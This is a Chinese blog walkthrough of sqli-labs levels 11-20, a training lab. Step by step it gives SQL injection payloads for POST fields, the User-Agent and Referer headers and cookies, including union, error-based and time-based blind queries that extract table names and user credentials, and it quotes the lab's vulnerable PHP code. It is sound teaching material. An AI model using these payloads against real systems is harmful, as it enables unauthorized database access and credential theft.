sqli-labs教程——Less 11-20

sqli-labs教程——Less 11-20 Page-1 Basic Challenges

准备工具

从Less11开始,用到了POST型的注入,可能会用到burpsuite、浏览器中的hackbar等工具。

burpsuite下载链接:

Firefox渗透测试版本下载:https://download.csdn.net/download/qq_25649867/14883439

Firefox解压后即可使用,里面包含多种插件

11-1

上图是Firefox中hackbar的界面

  • Load URL:获得当前页面URL
  • Execute:执行,编辑好URL和各种信息可以进行执行(快捷键为ctrl + enter)
  • Post data:编辑post传参的内容
  • Referrer:编辑referrer的内容
  • 0xHEX:可以对所选内容进行十六进制编码
    • 选中后,点击右箭头即为编码
    • 选中后,点击左箭头即为解码
  • %URL:可以对所选内容进行URL编码,操作方式与十六进制相同
  • BASE64:可以对所选内容进行BASE64编码。操作方式与十六进制相同

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

1. 判断是否有注入点

首先在浏览器中打开hackbar,并打开Post data

在username和password中随意输入内容,例如:admin, 123

可以在Post data中查看到Post参数内容

11-2

2. 判断闭合字符

uname=admin’ &passwd=123&submit=Submit

输入单引号,页面报错信息如下所示:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘123’ LIMIT 0,1’ at line 1

也可以将单引号放在passwd中,页面报错信息会更加清晰

uname=admin&passwd=123’&submit=Submit

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘123’’ LIMIT 0,1’ at line 1

’ ’ 123’ ’ LIMIT 0,1 ’

可以确定闭合字符为单引号
11-3

3. 判断当前页面中SQL语句的查询列数

uname=admin&passwd=123’ order by 2 #&submit=Submit

11-4

可以确定列数为2

4. 判断数据在页面中回显位置和SQL语句中回显位

uname=admin&passwd=1’ union select database(),version()#&submit=Submit

11-5

5. 判断当前页面连接的数据库名称

uname=admin&passwd=1’ union select database(),version()#&submit=Submit

11-5

得到数据库名称为security

6. 显示security数据库中所有表名称信息

uname=admin&passwd=1’ union select group_concat(’~’,table_name),version() from information_schema.tables where table_schema=‘security’#&submit=Submit

11-6

7. 判断users表的列名称信息

uname=admin&passwd=1’ union select group_concat(’~’,column_name),version() from information_schema.columns where table_name=‘users’ and table_schema=‘security’#&submit=Submit

11-7

8. 查询users表的所有信息

uname=admin&passwd=1’ union select group_concat(’’,id,’’,username,’~’,password),version() from security.users#&submit=Submit

11-8

Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

1. 判断是否有注入点

在username和password中随意输入内容,例如admin,1

可以在Post data中查看到Post参数内容

12-1

2. 判断闭合字符

uname=admin")&passwd=1&submit=Submit

输入"),页面报错信息如下所示:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘") and password=(“1”) LIMIT 0,1’ at line 1

可以在password=(“1”)可以看出闭合字符为("")

12-2

3. 判断当前页面中SQL语句的查询列数

uname=admin") order by 2#&passwd=1&submit=Submit

12-3

可以确定列数为2

4. 判断数据在页面中回显位置和SQL语句中回显位

uname=1") union select @@datadir,version()#&passwd=1&submit=Submit

12-4

5. 判断当前页面连接的数据库名称

uname=1") union select database(),version()#&passwd=1&submit=Submit

12-5

得到数据库名称为security

6. 显示security数据库中所有表名称信息

uname=1") union select group_concat(’~’,table_name),version() from information_schema.tables where table_schema=‘security’#&passwd=1&submit=Submit

12-6

7. 判断users表的列名称信息

uname=1") union select group_concat(’~’,column_name),version() from information_schema.columns where table_schema=‘security’ and table_name=‘users’#&passwd=1&submit=Submit

12-7

8. 查询users表的所有信息

uname=1") union select group_concat(’’,id,’’,username,’~’,password),version() from security.users#&passwd=1&submit=Submit

12-8

Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双查询注入)

1. 判断是否有注入点

首先在浏览器中打开hackbar,并打开Post data

在username和password中随意输入内容,例如:admin, 123

可以在Post data中查看到Post参数内容

13-1

2. 判断闭合字符

uname=admin’)&passwd=1&submit=Submit

输入’),页面报错信息如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’) and password=(‘1’) LIMIT 0,1’ at line 1

可以在 password=(‘1’)可以看出闭合字符为('')

13-2

3. 判断当前页面中SQL语句的查询列数

uname=admin’) order by 2#&passwd=1&submit=Submit

13-3

可以确定列数为2

4. 判断数据在页面中回显位置和SQL语句中回显位

uname=1’) union select @@datadir,version()#&passwd=1&submit=Submit

13-4

并没有提示信息,根据题目,可以尝试使用双查询注入.

5. 判断当前页面连接的数据库名称

uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select database()),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit

13-5

得到数据库名称为security

6. 显示security数据库中所有表名称信息

uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit

13-6

修改limit 0,1为limit 3,1,可以获得users表名

uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit

13-7

7. 判断users表的列名称信息

获得id列名称:

uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit

13-8

获得username列名称:

uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit

13-9

获得password列名称:

uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 2,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit

13-10

8. 查询users表的所有信息

uname=1’) and (select 1 from (select 1,count(*),concat(’~’,(select concat_ws(’~’,id,username,password) from security.users limit 0,1),’~’,floor(rand(0)*2))x from information_schema.columns group by x)a)#&passwd=1&submit=Submit

13-11

通过修改limit,可以查询用户信息,不再过多展示。

Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双查询注入)

1. 判断是否有注入点

首先在浏览器中打开hackbar,并打开Post data

在username和password中随意输入内容,例如:admin, 123

可以在Post data中查看到Post参数内容

14-1

2. 判断闭合字符

uname=admin")&passwd=1&submit=Submit

输入"),页面报错信息如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘)" and password=“1” LIMIT 0,1’ at line 1

在password=“1”,可以看出闭合字符为""

14-2

3. 判断当前页面中SQL语句的查询列数

uname=admin" order by 2#&passwd=1&submit=Submit

14-3

可以确定列数为2

4. 判断数据在页面中回显位置和SQL语句中回显位

uname=1" union select 1,2#&passwd=1&submit=Submit

14-4

并没有提示信息,根据题目,可以尝试使用双查询注入。

这次尝试使用updatexml函数进行报错查询。

5. 判断当前页面连接的数据库名称

uname=-1" and updatexml(1,concat(’~’,(select database()),’~’),1)#&passwd=1&submit=Submit

14-5

得到数据库名称为security

6. 显示security数据库中所有表名称信息

uname=-1" and updatexml(1,concat(’!’,(select group_concat(’~’,table_name) from information_schema.tables where table_schema=‘security’),’!’),1)#&passwd=1&submit=Submit

14-6

可以获得security数据库中的所有表名称信息

7. 判断users表的列名称信息

uname=-1" and updatexml(1,concat(’!’,(select group_concat(’~’,column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),’!’),1)#&passwd=1&submit=Submit

14-7

可以获得users表的所有列名称信息

8. 查询users表的所有信息

uname=-1" and updatexml(1,concat(’!’,(select group_concat(’~’,id,username,password) from security.users),’!’),1)#&passwd=1&submit=Submit

14-8

可以获得users表中的内容,因报错内容具有一定的长度限制,建议使用concat_ws函数配合limit进行单独查看。例如:

uname=-1" and updatexml(1,concat(’!’,(select concat_ws(’~’,id,username,password) from security.users limit 0,1),’!’),1)#&passwd=1&submit=Submit

14-9

Less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

1. 判断注入点和闭合字符

经过多次尝试,uname和passwd中输入随意内容与单引号,都仅仅只有报错页面,所以此时考虑使用时间延迟注入。

构造注入如下注入:

uname=1' and sleep(3)#&passwd=1&submit=Submit

uname=1&passwd=1' and sleep(3)#&submit=Submit

uname=1"and sleep(3)#&passwd=1&submit=Submit

uname=1&passwd=1" and sleep(3)#&submit=Submit

很不巧,更换输入内容和闭合字符均失效。

考虑修改一下uname的内容,将其内容更换为admin:

uname=admin&passwd=1' and sleep(3)&submit=Submit

这个注入方法依旧是没有所预想的时间延迟,将sleep(3)换到uname中。

uname=admin’ and sleep(3)#&passwd=1&submit=Submit

15-1

使用浏览器查看时间线,时间大于3秒,说明注入成功,闭合字符为单引号。

2. 判断当前页面连接的数据库名称长度

uname=admin’ and if(length(database()=8),sleep(3),0)#&passwd=1&submit=Submit

15-2

时间大于3秒,数据库长度为8。

3. 判断数据库名称

首先判断第一个字符

uname=admin’ and if(ascii(substring(database(),1,1))=115,sleep(3),0)#&passwd=1&submit=Submit

15-3

数据库名称的第一个字符的ASCII码为115,对应的字母为s

修改substring函数中的参数,来继续获取数据库名称的其他字符,最终得到数据库名称为:security

4. 判断security数据库中的表名称信息

uname=admin’ and if(ascii(substring((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1) ,1,1))=117,sleep(3),0)#&passwd=1&submit=Submit

15-4

可以获得数据库security的第4个表的第一个字符的ASCII码为117,对应的字母为u,也就是users表。

5. 判断users表的列名称信息

uname=admin’ and if(ascii(substring((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1) ,1,1))=105,sleep(3),0)#&passwd=1&submit=Submit

15-5

获取到users表的第1个字段的第1个字符的ASCII码是105,对应的字母是i,也就是id列。修改limit和substring的参数,可以逐步获得users表的全部列信息:id、username、password。

6. 查询users表的信息

获取username列的第2个字段的第3个字符的值:

uname=admin’ and if(ascii(substring((select username from security.users limit 1,1) ,3,1))=103,sleep(3),0)#&passwd=1&submit=Submit

15-6

获取到的结果是g,对应的是Angelina。

7. 总结

现在来看一下,寻找注入点并判断闭合字符中,为何仅仅在uname使用admin,并且sleep()等函数需要放在uname中才可以进行注入。

$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

uname和passwd的输入内容都没有做过滤,可以放心构造语句。

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

以上是Less-15中仅有的SQL语句,最明显的是可以看出闭合字符为单引号,其次发现已经和之前的SQL语句不同,这次是限定了查找的列内容。

执行以下mysql语句,验证以下结果

mysql> use security;
Database changed
mysql> SELECT username, password FROM users WHERE username='admin' and sleep(3)#' and password='1' LIMIT 0,1 ;
    -> ;
Empty set (3.00 sec)
mysql> SELECT username, password FROM users WHERE username='admin' and password='1' and sleep(3)#' LIMIT 0,1 ;
    -> ;
Empty set (0.00 sec)

当password=1的时候,前面查询内容为空,不满足条件,所以sleep(3)无法执行。

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

1. 判断注入点和闭合字符

uname=admin") and 1=1#&passwd=1&submit=Submit

16-1

uname=admin") and 1=2#&passwd=1&submit=Submit

16-2

因页面已经不给报错信息,所以要进行尝试。当使用"),并且1=1和1=2返回的页面有差异,所以确定闭合符号为")。

2. 判断数据库名称长度

uname=admin") and length(database())=8#&passwd=1&submit=Submit

16-3

经过尝试,数据库名称长度为8.

3. 判断数据库名称

首先判断第一个字符

进行字符提取的时候,大小写字符返回相同的结果,所以使用ASCII码来进行判断会更加准确。

uname=admin") and ascii(substring(database(),1,1))=115#&passwd=1&submit=Submit

16-4

可知数据库名称的第1个字符是s,对应的数据名称为:security

4. 判断security数据库中的表名称信息

uname=admin") and ascii(substring((select table_name from information_schema.tables where table_schema=‘security’ limit 2,1),1,1))=117#&passwd=1&submit=Submit

16-5

当使用limit 2,1,第一个字符为u,也就是对应的users表

5. 判断users表的列名称信息

uname=admin") and ascii(substring((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1))=105#&passwd=1&submit=Submit

16-6

获取到users表的第1个字段的第1个字符的ASCII码是105,对应的字母是i,也就是id列。

6. 查询users表的信息

uname=admin") and ascii(substring((select username from security.users limit 0,1),1,1))=68#&passwd=1&submit=Submit

16-7

获取到username列的第1个字段的第1个字符的ASCII码是68,对应字母是D,也就是Dumb。

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

1. 判断注入点和闭合字符

uname=admin'&passwd=1&submit=Submit

uname=admin"&passwd=1&submit=Submit

uname=admin')&passwd=1&submit=Submit

uname=admin")&passwd=1&submit=Submit

都显示如下界面:

17-1

被嘲讽了…………

所以尝试从password进行入手:

uname=admin&passwd=1’&submit=Submit

17-2

在passwd中进行尝试,终于有了不同的显示页面,可以确定注入点在passwd。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘admin’’ at line 1

通过提示,可以判断闭合字符是单引号。

2. 判断当前页面中SQL语句的查询列数

从题目可以看出,这是修改密码的SQL语句,所以使用的是update语句,而updata不支持order by的配合。结果如下:

uname=admin&passwd=1’ order by 1#&submit=Submit

17-3

3. 判断当前页面连接的数据库名称

这里尝试使用update函数。

uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select database()),’~’),1)#&submit=Submit

17-4

得到数据库名称为security

4. 显示security数据库中所有表名称信息

uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select group_concat(’~’,table_name) from information_schema.tables where table_schema=‘security’),’~’),1)#&submit=Submit

17-5

可以看到已经对可展示内容的长度进行了限制。

所以更改语句为

uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),’~’),1)#&submit=Submit

17-6

可以查询到users表

5. 判断users表的列名称信息

uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select group_concat(’~’,column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),’~’),1)#&submit=Submit

17-7

6. 查询users表的信息

uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select concat_ws(’~’,id,username,password) from security.users limit 0,1),’~’),1)#&submit=Submit

17-8

可以查看到报错信息,没能获取到users表的内容

那么这里尝试再加一层select

uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select 1 from (select concat_ws(’~’,id,username,password) from security.users limit 0,1)),’~’),1)#&submit=Submit

17-9

结果出现如下错误:

Every derived table must have its own alias

最终修改语句为:

uname=admin&passwd=1’ and updatexml(1,concat(’~’,(select * from (select concat_ws(’~’,id,username,password) from security.users limit 0,1)as a),’~’),1)#&submit=Submit

17-10

可以成功获得到users表的内容

7. 总结

此处新出现了update方法和其他问题,所以在此处查看一下源码,看看详细内容。

$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];

可以看出对uname进行了操作,而passwd并没有。

function check_input()函数

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

各个函数说明

  • get_magic_quotes_gpc()函数

get_magic_quotes_gpc()函数会获取PHP中的环境变量magic_quotes_gpc的值。

返回0的时候,代表magic_quotes_gpc功能关闭

返回1的时候,代表magic_quotes_gpc功能打开

magic_quotes_gpc可以用来防止一些SQL注入,该功能在默认状态下是关闭的。如果把它打开,会自动把用户提交对SQL语句进行转换,可以把单引号、双引号、空字符等字符加上反斜线,这对防止SQL注入会有重大作用。

  • stripslashes()函数

返回一个去除转义反斜线后的字符串(\'转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。

  • mysql_real_escape_string() 函数

mysql_real_escape_string()调用mysql库的函数 mysql_real_escape_string, 在下字符前添加反斜杠: \x00, \n, \r, \, ', "\x1a.

  • ctype_digit()函数

如果参数内容是一个十进制数字,就返回 TRUE ;反之就返回 FALSE

check_input()函数步骤

  1. 首先对输入内容$value是否为空进行判断
  2. 若不为空,提取$value的前15个字符
  3. 判断php配置内容中的magic_quotes_gpc功能是否开启
  4. 若开启magic_quotes_gpc功能,则返回一个去除转义反斜线后的$value
  5. 判断$value是否为十进制数字
  6. $value不是十进制数字,在$value的首位加上单引号

可以看到Less-17是对uname进行了一系列的操作,来阻止SQL注入。而并没有对password进行阻止,所以考虑从password下手。

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

当uname被进行了一系列的操作之后,会被放入上述SQL语句中。

Less-17中,是先使用uname进行查询,若有查询结果后,才能执行后续的update语句。

所以进行注入的时候uname需要使用数据库中已经存在的用户,示例中的admin就在其中。

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

查看SQL语句,可以发现passwd的闭合字符为单引号。

当然平时练习,不推荐轻易查看源码哦!

ps.如果在练习过程中,不小心修改了数据库的内容信息,可以访问主页面

点击Setup/reset Database for labs,对数据库进行恢复

17-11

Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)

1. 判断是否有注入点

尝试在uname、password内容中判断闭合字符

但是界面都显示如下内容:

18-1

很大概率是在uname和password中都进行了输入内容的判断。使用admin、admin登陆后,查看内容。

18-2

页面显示了IP地址以及User-Agent的信息,并且考虑到题目的提示内容,推测User-Agent是注入点。抓包尝试更换User-Agent的内容,查看页面回显结果。

用burpsuite抓包,Ctrl + R,将内容发送到Repeater中,修改User-Agent的内容为User-Agent: Hello,SQL! ,点击send,在Response中点击Render,查看页面结果,结果如下图所示:

18-3

可以看到页面的回显信息已经变成了Hello,SQL!所以推测User-Agent就是注入点。

2. 判断闭合字符

User-Agent:1’

使用单引号,页面报错内容如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘172.20.10.2’, ‘admin’)’ at line 1

’172.20.10.2’, ‘admin’)'

18-4

所以可以确定闭合字符为单引号。

根据报错提示,以及后面两个参数的情况,确定闭合字符为单引号。并且从报错格式中推测几乎不可能为select,所以直接尝试使用updatexml函数,进行双查询注入。

3. 判断当前页面连接的数据库名称

根据之前报错提示,推测此处使用的SQL语句是insert into table (column_name1,column_name2,…) values (arg1,arg2,…)

对猜测进行检验,构造结果为:User-Agent:1’,2,3)#

18-5

可以查看到已经没有报错信息,说明此处推测的insert语句是正确的,接下来就可以正式构造SQL语句了。

构造内容:User-Agent: 1’,2,updatexml(1,concat(’~’,(select database()),’~’),1))#

18-6

得到数据库名称为security

4. 显示security数据库中所有表名称信息

User-Agent: 1’,2,updatexml(1,concat(’~’,(select group_concat(’~’,table_name) from information_schema.tables where table_schema=‘security’),’~’),1))#

18-7

报错内容显示不全,所以去掉group_concat函数,增加limit,逐个尝试。

User-Agent: 1’,2,updatexml(1,concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),’~’),1))#

18-8

当使用limit 3,1,获得的表名为users。

5. 判断users表的列名称信息

User-Agent: 1’,2,updatexml(1,concat(’~’,(select group_concat(’~’,column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),’~’),1))#

18-9

可以获得users表的列名称信息

6. 查询users表的信息

User-Agent: 1’,2,updatexml(1,concat(’~’,(select concat_ws(’~’,id,username,password) from security.users limit 0,1),’~’),1))#

18-10

7. 总结

查看一下原码,分析一下情况

首先是对输入内容的检验和操作,和Less-17中内容一样。

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,20);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

此处获取请求头中的User-Agent内容和IP地址

$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];

本题是对unamepasswd都进行了检查,这两处均无法进行注入,考虑上边代码获取的User-Agent

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

其余核心代码如下:

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
	if($row1)
		{
		echo '<font color= "#FFFF00" font size = 3 >';
		$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
		mysql_query($insert);
		//echo 'Your IP ADDRESS is: ' .$IP;
		echo "</font>";
		//echo "<br>";
		echo '<font color= "#0000ff" font size = 3 >';			
		echo 'Your User Agent is: ' .$uagent;
		echo "</font>";
		echo "<br>";
		print_r(mysql_error());			
		echo "<br><br>";
		echo '<img src="../images/flag.jpg"  />';
		echo "<br>";
		
		}
	else
		{
		echo '<font color= "#0000ff" font size="3">';
		//echo "Try again looser";
		print_r(mysql_error());
		echo "</br>";			
		echo "</br>";
		echo '<img src="../images/slap.jpg"   />';	
		echo "</font>";  
		}

首先,通过uname和passwd构造SQL查询语句,当只有具备查询结果的时候,才进行接下来的步骤,所以在构造数据包的过程中,uname、passwd所使用的admin都是碰巧在数据库中的常用信息。

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
	if($row1)
	{
		………………
	}

使用提取到的User-AgentIP地址uname构造insert语句,在securityuagents表中,插入新内容。

if($row1)
	{
	echo '<font color= "#FFFF00" font size = 3 >';
	$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
	mysql_query($insert);

Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

1. 判断是否有注入点

在uname、password内容中判断闭合字符,页面都返回相同的内容,图片如下所示

19-1

推断和Less-18类似,对uname和password进行了过滤,使用admin、admin登陆后,查看内容。

19-2

页面显示了IP地址和referer的信息,并且考虑到题目的提示内容,推测referer是注入点。抓包尝试更换referer的内容,查看页面回显结果。

Referer: hello,SQL!

19-3

可以看到页面的回显信息已经变成了Hello,SQL!所以推测Referer就是注入点。

2. 判断闭合字符

修改uname=admin;passwd=admin;Referer:1’,点击send,结果如下:

19-4

报错内容提示如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘192.168.101.13’)’ at line 1

通过报错内容,可以得知闭合字符为单引号。

3. 判断当前页面连接的数据库名称

根据报错提示,推测此处使用的SQL语句是insert into table (column_name1,column_name2,…) values (arg1,arg2,…)

首先猜测输入内容为两条,构造结果为:Referer: 1’,2)#

19-5

当构造Referer: 1’,2,3)#的时候,页面显示报错,所以可以确定传入数据库的参数为两条。报错信息如下:

19-6

开始构造语句,获取其数据库名称,构造内容:

Referer: 1’,updatexml(1,concat(’~’,(select database()),’~’),1))#

19-7

得到数据库名称为security

4. 显示security数据库中所有表名称信息

Referer: 1’,updatexml(1,concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),’~’),1))#

19-8

通过修改limit的内容,可以查看其余security数据库中的其他表名称信息。

5. 判断users表的列名称信息

Referer: 1’,updatexml(1,concat(’~’,(select group_concat(’~’,column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),’~’),1))#

19-9

可以获得users表的列名称信息

6. 查询users表的信息

Referer: 1’,updatexml(1,concat(’~’,(select concat_ws(’|’,id,username,password) from security.users limit 0,1),’~’),1))#

19-10

通过修改limit,可以查看users表中的所有信息。

Less-19与Less-18很相似,差别不大,总结部分不再赘述。

Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)

1. 判断是否有注入点

在uname、passwd内容中判断闭合字符,页面都返回相同的内容,如图片所示:

20-1

应该是对uname和passwd都进行了过滤,先使用admin、admin进行登录,查看下内容

20-2

可以看到内容展示了请求头中的HostUser-AgentCookie,以及登录所用的用户名密码以及ID

点击**Delete Your Cookie!**返回到登录页面。

使用burpsuite抓取请求头,查看其详细内容

20-3

可以查看到cookie的格式为 uname=用户名,uname和passwd都对输入内容进行了过滤,并且根据题目提示,注入点位于cookie中,所以修改cookie内容为1,观察结果

Cookie: uname=1

20-4

好吧,又被嘲讽了……

不过起码知道了注入点位于cookie

2. 判断闭合字符

Cookie: uname=1’

使用单引号,页面报错内容如下:

Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1

’ ’ 1’ ’ LIMIT 0,1 ’

所以可以确定闭合字符为单引号。

20-5

3. 判断当前页面中SQL语句的查询列数

Cookie: uname=1’ order by 3#

20-6

通过尝试可以得知当前页面中SQL语句的查询列数为3

4. 判断数据在页面中的回显位置和SQL语句中回显位

Cookie: uname=1’ union select @@datadir,version(),user()#

20-7

可以看到这次十分老实的就交出了各个回显位置。

5. 判断当前页面连接的数据库名称

Cookie: uname=1’ union select database(),version(),user()#

20-8

得到数据库名称为security

6. 判断数据库中的表名称信息

Cookie: uname=1’ union select version(),group_concat(’~’,table_name),user() from information_schema.tables where table_schema=‘security’#

20-9

可以成功获取到security数据库的所有表名称信息

7. 判断users表的列名称信息

Cookie: uname=1’ union select version(),group_concat(’~’,column_name),user() from information_schema.columns where table_schema=‘security’ and table_name=‘users’#

20-10

可以成功获取到users表的所有列名称信息

8. 查询users表的所有信息

Cookie: uname=1’ union select version(),group_concat(’’,id,’’,username,’~’,password),user() from security.users#

20-11

可以成功获取到users表中所有的内容信息

9. 总结

除了cookie注入点的判断之外,整个的注入过程仿佛梦回Less-1。

首先,查看一下对uname、passwd的过滤内容

function check_input($value)
	{
	if(!empty($value))
		{
		$value = substr($value,0,20); // truncation (see comments)
		}
		if (get_magic_quotes_gpc())  // Stripslashes if magic quotes enabled
			{
			$value = stripslashes($value);
			}
		if (!ctype_digit($value))   	// Quote if not a number
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
	else
		{
		$value = intval($value);
		}
	return $value;
	}

发现和Less-17和Less-18内容一样,不再赘述。

if(isset($_POST['uname']) && isset($_POST['passwd']))
	{

	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);
				
	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
	$cookee = $row1['username'];
		if($row1)
			{
               ………………

看到对unamepasswd进行了检测内容,所以需要从其他地方寻找注入点。

并且SQL语句需要能够成功查找到内容后,才会执行后续步骤,所以用户名和密码需要输入已经在数据中的内容,不然无法登陆并且会报错。

$cookee是将刚才所查询到的username内容赋值进去。

if($row1)
	{
	echo '<font color= "#FFFF00" font size = 3 >';
	setcookie('uname', $cookee, time()+3600);	
	header ('Location: index.php');
	echo "I LOVE YOU COOKIES";
	echo "</font>";
	echo '<font color= "#0000ff" font size = 3 >';			
	//echo 'Your Cookie is: ' .$cookee;
	echo "</font>";
	echo "<br>";
	print_r(mysql_error());			
	echo "<br><br>";
	echo '<img src="../images/flag.jpg" />';
	echo "<br>";
	}

如果可以成功查询到内容,则创建cookiecookie生效时间是3600秒,cookie的格式为uname=$cookee

if(!isset($_POST['submit']))
	{		
		$cookee = $_COOKIE['uname'];
		$format = 'D d M Y - H:i:s';
		$timestamp = time() + 3600;
		
		………………
		
		$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
		$result=mysql_query($sql);
		if (!$result)
  			{
  			die('Issue with your mysql: ' . mysql_error());
  			}
  			
  		………………

可以看到此处的SQL是通过$cookee进行的查询,没有对$cookee进行过滤,所以此处就是注入点,并且闭合字符为单引号。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lilin_27

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值